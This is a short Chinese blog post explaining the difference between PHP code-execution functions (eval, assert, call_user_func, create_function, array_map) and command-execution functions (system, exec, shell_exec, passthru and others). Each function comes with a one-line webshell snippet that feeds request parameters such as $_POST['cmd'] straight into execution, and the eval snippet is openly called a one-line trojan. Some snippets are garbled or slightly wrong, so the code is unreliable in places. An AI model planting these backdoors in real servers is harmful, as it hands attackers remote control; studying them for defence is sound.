eval函数和system函数的区别——代码执行漏洞和命令执行漏洞
eval()函数和system()函数的比较
eval类型函数是代码执行而不是命令执行(一句话木马)
system类型函数是命令执行而不是代码执行
eval函数里必须是一个符合php语法的语句,如果语句结尾没有分号会报错:eval()'d code
<?php
eval("echo 1+1;"); //2
system("echo 1+1;"); //1+1;
?>
<?php
$num=1;
eval("\$a = $num;"); //有效,$a=1
system("\$b = $num;"); //无效,$b=NULL
?>
<?php
eval("phpinfo();"); //phpinfo()被执行
system("phpinfo()"); //phpinfo()不被执行
?>
<?php
system("whoami"); //whoami命令被执行
eval("whoami"); //whoami命令不被执行
?>
代码执行函数:
1-eval <?php eval($_POST["cmd"]) ?>
2-assert
<?php assert($_POST["cmd"]) ?>3-call_user_func
<?php
call_user_func($_POST["fun"],$_POST["para"])
?>
//post:fun=assert¶=phpinfo();4-create_function
<?php
$a= $_POST['func'];
$b = create_function('$a',"echo $a");
$b('');
?>
//post:func=phpinfo();
5-array_map
<?php
$array = array(0,1,2,3,4,5);
array_map($_GET['func'],$array);
?>
//post:func=phpinfo
命令执行函数:
1-system <?php system($_POST["cmd"]);?>
2-passthru
<?php passthru($_POST["cmd"]);?>3-exec
<?php echo exec($_POST["cmd"]);?>4-pcntl_exec
<?php
pcntl_exec("/bin/bash",array($_POST["cmd"]));
?>5-shell_exec
<?php echo shell_exec($_POST["cmd"]); ?>6-popen()/proc_popen()
<?php $handle = popen("/bin/ls","r");?>7-``
<?php echowhoami
?>
8-
<?php
$cmd = 'system';
ob_start($cmd)
echo "$_GET[a]";
ob_end_flush();
?>
//?a=whoami
本文来自博客园,作者:NoCirc1e,转载请注明原文链接:https://www.cnblogs.com/NoCirc1e/p/16275602.html